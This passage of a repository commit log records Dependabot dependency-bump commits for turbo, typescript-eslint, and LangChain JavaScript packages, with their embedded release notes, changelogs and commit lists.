href="https://github.com/langchain-ai/langgraphjs/commit/bdcf290198ce5cea4367ee8c9f1cbbbcf14d05e4"><code>bdcf290</code></a> fix(langgraph): clean up resolved checkpointer promises to reduce memory rete...</li> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/77af97650c0f1671338911994c2e355b29489528"><code>77af976</code></a> Revert &quot;fix(core): prevent AbortSignal listener leak in stream() and streamEv...</li> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/6ee23e819b5da43a5a0c62560f85a9037a427630"><code>6ee23e8</code></a> fix: add createAgent and middleware to browser entry points (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/2241">#2241</a>)</li> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/20feb58300765f2eec2c028f6d3deec8b548706d"><code>20feb58</code></a> feat: Add LangSmith integration metadata to langgraph (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/2193">#2193</a>)</li> <li>See full diff in <a href="https://github.com/langchain-ai/langgraphjs/commits/@langchain/langgraph@1.2.6/libs/langgraph-core">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/eslint-plugin` from 8.57.2 to 8.58.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/eslint-plugin</code>'s releases</a>.</em></p> <blockquote> <h2>v8.58.0</h2> <h2>8.58.0 (2026-03-30)</h2> <h3>🚀 Features</h3> <ul> <li>support TypeScript 6 (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12124">#12124</a>)</li> </ul> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> crash in <code>no-unnecessary-type-arguments</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12163">#12163</a>)</li> <li><strong>eslint-plugin:</strong> [no-extraneous-class] handle index signatures (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12142">#12142</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-regexp-exec] avoid fixing unknown RegExp flags (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12161">#12161</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>ej shafran <a href="https://github.com/ej-shafran"><code>@​ej-shafran</code></a></li> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> <li>GG ZIBLAKING</li> <li>milkboy2564 <a href="https://github.com/SeolJaeHyeok"><code>@​SeolJaeHyeok</code></a></li> <li>teee32 <a href="https://github.com/teee32"><code>@​teee32</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.58.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md"><code>@​typescript-eslint/eslint-plugin</code>'s changelog</a>.</em></p> <blockquote> <h2>8.58.0 (2026-03-30)</h2> <h3>🚀 Features</h3> <ul> <li>support TypeScript 6 (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12124">#12124</a>)</li> </ul> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-regexp-exec] avoid fixing unknown RegExp flags (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12161">#12161</a>)</li> <li><strong>eslint-plugin:</strong> [no-extraneous-class] handle index signatures (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12142">#12142</a>)</li> <li><strong>eslint-plugin:</strong> crash in <code>no-unnecessary-type-arguments</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12163">#12163</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>ej shafran <a href="https://github.com/ej-shafran"><code>@​ej-shafran</code></a></li> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> <li>GG ZIBLAKING</li> <li>milkboy2564 <a href="https://github.com/SeolJaeHyeok"><code>@​SeolJaeHyeok</code></a></li> <li>teee32 <a href="https://github.com/teee32"><code>@​teee32</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.58.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/493341709fe7d1d6433332b7bd2724e3332c7cdf"><code>4933417</code></a> chore(release): publish 8.58.0</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/5a9bd366139c8e306dd78ae906d4389972de42b6"><code>5a9bd36</code></a> fix(eslint-plugin): [prefer-regexp-exec] avoid fixing unknown RegExp flags (#...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/edb90ebf7c75a71065bed719f3e72d18b830c6a0"><code>edb90eb</code></a> fix(eslint-plugin): [no-extraneous-class] handle index signatures (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12142">#12142</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/8cde2d06fb9bc591a4c93452509ddbd600c76a35"><code>8cde2d0</code></a> feat: support TypeScript 6 (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12124">#12124</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/1bf86c9f5c799916d12079c037c79e10b29cdc9c"><code>1bf86c9</code></a> fix(eslint-plugin): crash in <code>no-unnecessary-type-arguments</code> (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12163">#12163</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/e9cc25a794dbf82a241807f394489a2aad39ffae"><code>e9cc25a</code></a> docs(eslint-plugin): fix typo (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12155">#12155</a>)</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.58.0/packages/eslint-plugin">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/parser` from 8.57.2 to 8.58.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/parser</code>'s releases</a>.</em></p> <blockquote> <h2>v8.58.0</h2> <h2>8.58.0 (2026-03-30)</h2> <h3>🚀 Features</h3> <ul> <li>support TypeScript 6 (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12124">#12124</a>)</li> </ul> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> crash in <code>no-unnecessary-type-arguments</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12163">#12163</a>)</li> <li><strong>eslint-plugin:</strong> [no-extraneous-class] handle index signatures (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12142">#12142</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-regexp-exec] avoid fixing unknown RegExp flags (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12161">#12161</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>ej shafran <a href="https://github.com/ej-shafran"><code>@​ej-shafran</code></a></li> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> <li>GG ZIBLAKING</li> <li>milkboy2564 <a href="https://github.com/SeolJaeHyeok"><code>@​SeolJaeHyeok</code></a></li> <li>teee32 <a href="https://github.com/teee32"><code>@​teee32</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.58.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md"><code>@​typescript-eslint/parser</code>'s changelog</a>.</em></p> <blockquote> <h2>8.58.0 (2026-03-30)</h2> <h3>🚀 Features</h3> <ul> <li>support TypeScript 6 (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12124">#12124</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.58.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/493341709fe7d1d6433332b7bd2724e3332c7cdf"><code>4933417</code></a> chore(release): publish 8.58.0</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/8cde2d06fb9bc591a4c93452509ddbd600c76a35"><code>8cde2d0</code></a> feat: support TypeScript 6 (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser/issues/12124">#12124</a>)</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.58.0/packages/parser">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-04-03 19:10:28 -07:00
3 people	0029b43137	chore(deps): bump the minor-and-patch group across 1 directory with 5 updates (#7375) ... Bumps the minor-and-patch group with 5 updates in the /libs/cli/js-monorepo-example directory: | Package | From | To | | --- | --- | --- | | [turbo](https://github.com/vercel/turborepo) | `2.8.20` | `2.9.3` | | [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) | `8.57.1` | `8.58.0` | | [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.57.1` | `8.58.0` | | [@langchain/core](https://github.com/langchain-ai/langchainjs) | `1.1.35` | `1.1.38` | | [@langchain/langgraph](https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core) | `1.2.5` | `1.2.6` | Updates `turbo` from 2.8.20 to 2.9.3 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/vercel/turborepo/releases">turbo's releases</a>.</em></p> <blockquote> <h2>Turborepo v2.9.3</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>Changelog</h3> <ul> <li>fix: Preserve per-workspace lockfiles during pnpm pruning by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12519">vercel/turborepo#12519</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.9.2...v2.9.3">https://github.com/vercel/turborepo/compare/v2.9.2...v2.9.3</a></p> <h2>Turborepo v2.9.3-canary.1</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>Changelog</h3> <ul> <li>fix: Update AI-generated response disclaimer to include human attribution by <a href="https://github.com/Copilot"><code>@​Copilot</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12517">vercel/turborepo#12517</a></li> <li>fix: Preserve shallow install strategy during npm lockfile pruning by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12520">vercel/turborepo#12520</a></li> <li>fix: Preserve per-workspace lockfiles during pnpm pruning by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12519">vercel/turborepo#12519</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.9.2-canary.4...v2.9.3-canary.1">https://github.com/vercel/turborepo/compare/v2.9.2-canary.4...v2.9.3-canary.1</a></p> <h2>Turborepo v2.9.2</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>Examples</h3> <ul> <li>feat(examples): Add Next.js + Elysia full-stack starter template by <a href="https://github.com/eastgold15"><code>@​eastgold15</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12414">vercel/turborepo#12414</a></li> </ul> <h3>Changelog</h3> <ul> <li>docs: Add documentation for cacheMaxAge and cacheMaxSize options by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12500">vercel/turborepo#12500</a></li> <li>fix: Resolve correct nested bun lockfile versions during prune by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12506">vercel/turborepo#12506</a></li> <li>Revert &quot;fix: Avoid <code>setsid()</code> in PTY spawn to prevent macOS Gatekeeper CPU spikes&quot; by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12507">vercel/turborepo#12507</a></li> <li>fix: Unblock <code>watch</code> loop so interruptible persistent tasks restart on file changes by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12509">vercel/turborepo#12509</a></li> <li>fix(api-client): Treat * as wildcard in preflight Access-Control-Allow-Headers by <a href="https://github.com/bitttttten"><code>@​bitttttten</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12503">vercel/turborepo#12503</a></li> <li>docs: Document <code>turbo.*</code> generator variables by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12511">vercel/turborepo#12511</a></li> <li>fix: Backfill missing pnpm workspace importer entries during prune by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12514">vercel/turborepo#12514</a></li> <li>fix: Include transitive dependencies in engine graph pruning for affected paths using Task Graph by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12516">vercel/turborepo#12516</a></li> <li>fix: Update AI-generated response disclaimer to include human attribution by <a href="https://github.com/Copilot"><code>@​Copilot</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12517">vercel/turborepo#12517</a></li> <li>fix: Preserve shallow install strategy during npm lockfile pruning by <a href="https://github.com/anthonyshew"><code>@​anthonyshew</code></a> in <a href="https://redirect.github.com/vercel/turborepo/pull/12520">vercel/turborepo#12520</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/eastgold15"><code>@​eastgold15</code></a> made their first contribution in <a href="https://redirect.github.com/vercel/turborepo/pull/12414">vercel/turborepo#12414</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/vercel/turborepo/compare/v2.9.1...v2.9.2">https://github.com/vercel/turborepo/compare/v2.9.1...v2.9.2</a></p> <h2>Turborepo v2.9.2-canary.4</h2> <!-- raw HTML omitted --> <h2>What's Changed</h2> <h3>Changelog</h3> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/vercel/turborepo/commit/7650a33c48fcb274cf579fafa9afe091d71b9c7c"><code>7650a33</code></a> publish 2.9.3 to registry</li> <li><a href="https://github.com/vercel/turborepo/commit/68004dbb825758140cf6a9921f820e8f177bfae4"><code>68004db</code></a> release(turborepo): 2.9.3-canary.1 (<a href="https://redirect.github.com/vercel/turborepo/issues/12523">#12523</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/a252394bbd8068cd4458be164ab53bc647e102b7"><code>a252394</code></a> fix: Preserve per-workspace lockfiles during pnpm pruning (<a href="https://redirect.github.com/vercel/turborepo/issues/12519">#12519</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/f68af3d82287d900d416e4ec20013a45fd0bb1e9"><code>f68af3d</code></a> release(turborepo): 2.9.2 (<a href="https://redirect.github.com/vercel/turborepo/issues/12521">#12521</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/72577db238fd6473698b3688a4fbc63c53a09567"><code>72577db</code></a> fix: Preserve shallow install strategy during npm lockfile pruning (<a href="https://redirect.github.com/vercel/turborepo/issues/12520">#12520</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/4a4e661f46dfad374ea35db94991b916389b7e2c"><code>4a4e661</code></a> chore: Update AI-generated response text for clarity (<a href="https://redirect.github.com/vercel/turborepo/issues/12517">#12517</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/aed2066bc6e3464906a5354dd501aae64dac1715"><code>aed2066</code></a> release(turborepo): 2.9.2-canary.4 (<a href="https://redirect.github.com/vercel/turborepo/issues/12518">#12518</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/8c88521568654da4ca53e4f1908a5d36d9728488"><code>8c88521</code></a> fix: Include transitive dependencies in engine graph pruning for affected pat...</li> <li><a href="https://github.com/vercel/turborepo/commit/59a42a5dcb5a59dcc62a1e5d6fb6f1372c6fc74e"><code>59a42a5</code></a> release(turborepo): 2.9.2-canary.3 (<a href="https://redirect.github.com/vercel/turborepo/issues/12515">#12515</a>)</li> <li><a href="https://github.com/vercel/turborepo/commit/45f2f43fee0b1d709414e91ee84eb6488f644eb5"><code>45f2f43</code></a> fix: Backfill missing pnpm workspace importer entries during prune (<a href="https://redirect.github.com/vercel/turborepo/issues/12514">#12514</a>)</li> <li>Additional commits viewable in <a href="https://github.com/vercel/turborepo/compare/v2.8.20...v2.9.3">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/eslint-plugin` from 8.57.1 to 8.58.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/eslint-plugin</code>'s releases</a>.</em></p> <blockquote> <h2>v8.58.0</h2> <h2>8.58.0 (2026-03-30)</h2> <h3>🚀 Features</h3> <ul> <li>support TypeScript 6 (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12124">#12124</a>)</li> </ul> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> crash in <code>no-unnecessary-type-arguments</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12163">#12163</a>)</li> <li><strong>eslint-plugin:</strong> [no-extraneous-class] handle index signatures (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12142">#12142</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-regexp-exec] avoid fixing unknown RegExp flags (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12161">#12161</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>ej shafran <a href="https://github.com/ej-shafran"><code>@​ej-shafran</code></a></li> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> <li>GG ZIBLAKING</li> <li>milkboy2564 <a href="https://github.com/SeolJaeHyeok"><code>@​SeolJaeHyeok</code></a></li> <li>teee32 <a href="https://github.com/teee32"><code>@​teee32</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.58.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> <h2>v8.57.2</h2> <h2>8.57.2 (2026-03-23)</h2> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-optional-chain] remove dangling closing parenthesis (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11865">#11865</a>)</li> <li><strong>eslint-plugin:</strong> [array-type] ignore Array and ReadonlyArray without type arguments (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11971">#11971</a>)</li> <li><strong>eslint-plugin:</strong> [no-restricted-types] flag banned generics in extends or implements (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12120">#12120</a>)</li> <li><strong>eslint-plugin:</strong> [no-unsafe-return] false positive on unwrapping generic (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12125">#12125</a>)</li> <li><strong>eslint-plugin:</strong> [no-unsafe-return] false positive on unwrapping generic (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12125">#12125</a>)</li> <li><strong>eslint-plugin:</strong> [no-useless-default-assignment] skip reporting false positives for unresolved type parameters (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12127">#12127</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-readonly-parameter-types] preserve type alias infomation (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11954">#11954</a>)</li> <li><strong>typescript-estree:</strong> skip createIsolatedProgram fallback for projectService (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12066">#12066</a>, <a href="https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12065">#12065</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Kirk Waiblinger <a href="https://github.com/kirkwaiblinger"><code>@​kirkwaiblinger</code></a></li> <li>Konv Suu</li> <li>mdm317</li> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> <li>RyoheiYamamoto</li> <li>SungHyun627 <a href="https://github.com/SungHyun627"><code>@​SungHyun627</code></a></li> <li>Tamashoo <a href="https://github.com/Tamashoo"><code>@​Tamashoo</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.2">GitHub Releases</a> for more information.</p> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md"><code>@​typescript-eslint/eslint-plugin</code>'s changelog</a>.</em></p> <blockquote> <h2>8.58.0 (2026-03-30)</h2> <h3>🚀 Features</h3> <ul> <li>support TypeScript 6 (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12124">#12124</a>)</li> </ul> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-regexp-exec] avoid fixing unknown RegExp flags (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12161">#12161</a>)</li> <li><strong>eslint-plugin:</strong> [no-extraneous-class] handle index signatures (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12142">#12142</a>)</li> <li><strong>eslint-plugin:</strong> crash in <code>no-unnecessary-type-arguments</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12163">#12163</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>ej shafran <a href="https://github.com/ej-shafran"><code>@​ej-shafran</code></a></li> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> <li>GG ZIBLAKING</li> <li>milkboy2564 <a href="https://github.com/SeolJaeHyeok"><code>@​SeolJaeHyeok</code></a></li> <li>teee32 <a href="https://github.com/teee32"><code>@​teee32</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.58.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> <h2>8.57.2 (2026-03-23)</h2> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-readonly-parameter-types] preserve type alias infomation (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11954">#11954</a>)</li> <li><strong>eslint-plugin:</strong> [no-useless-default-assignment] skip reporting false positives for unresolved type parameters (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12127">#12127</a>)</li> <li><strong>eslint-plugin:</strong> [no-unsafe-return] false positive on unwrapping generic (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12125">#12125</a>)</li> <li><strong>eslint-plugin:</strong> [no-restricted-types] flag banned generics in extends or implements (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12120">#12120</a>)</li> <li><strong>eslint-plugin:</strong> [array-type] ignore Array and ReadonlyArray without type arguments (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11971">#11971</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-optional-chain] remove dangling closing parenthesis (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11865">#11865</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Kirk Waiblinger <a href="https://github.com/kirkwaiblinger"><code>@​kirkwaiblinger</code></a></li> <li>Konv Suu</li> <li>mdm317</li> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> <li>SungHyun627 <a href="https://github.com/SungHyun627"><code>@​SungHyun627</code></a></li> <li>Tamashoo <a href="https://github.com/Tamashoo"><code>@​Tamashoo</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.2">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/493341709fe7d1d6433332b7bd2724e3332c7cdf"><code>4933417</code></a> chore(release): publish 8.58.0</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/5a9bd366139c8e306dd78ae906d4389972de42b6"><code>5a9bd36</code></a> fix(eslint-plugin): [prefer-regexp-exec] avoid fixing unknown RegExp flags (#...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/edb90ebf7c75a71065bed719f3e72d18b830c6a0"><code>edb90eb</code></a> fix(eslint-plugin): [no-extraneous-class] handle index signatures (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12142">#12142</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/8cde2d06fb9bc591a4c93452509ddbd600c76a35"><code>8cde2d0</code></a> feat: support TypeScript 6 (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12124">#12124</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/1bf86c9f5c799916d12079c037c79e10b29cdc9c"><code>1bf86c9</code></a> fix(eslint-plugin): crash in <code>no-unnecessary-type-arguments</code> (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12163">#12163</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/e9cc25a794dbf82a241807f394489a2aad39ffae"><code>e9cc25a</code></a> docs(eslint-plugin): fix typo (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12155">#12155</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/be4d54d26e695cc93605ffcca67dd75848e95c6f"><code>be4d54d</code></a> chore(release): publish 8.57.2</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/f68c8e4baca096281b458ccb6ff16ca6c5a1d199"><code>f68c8e4</code></a> fix(eslint-plugin): [prefer-readonly-parameter-types] preserve type alias inf...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/73acd2e6833c4757d2743a8dbb979154d31a1e98"><code>73acd2e</code></a> fix(eslint-plugin): [no-useless-default-assignment] skip reporting false posi...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/3d21482030e4fd220f466cea7036e07695277364"><code>3d21482</code></a> fix(eslint-plugin): [no-unsafe-return] false positive on unwrapping generic (...</li> <li>Additional commits viewable in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.58.0/packages/eslint-plugin">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/parser` from 8.57.1 to 8.58.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/parser</code>'s releases</a>.</em></p> <blockquote> <h2>v8.58.0</h2> <h2>8.58.0 (2026-03-30)</h2> <h3>🚀 Features</h3> <ul> <li>support TypeScript 6 (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12124">#12124</a>)</li> </ul> <h3>🩹 Fixes</h3> <ul> 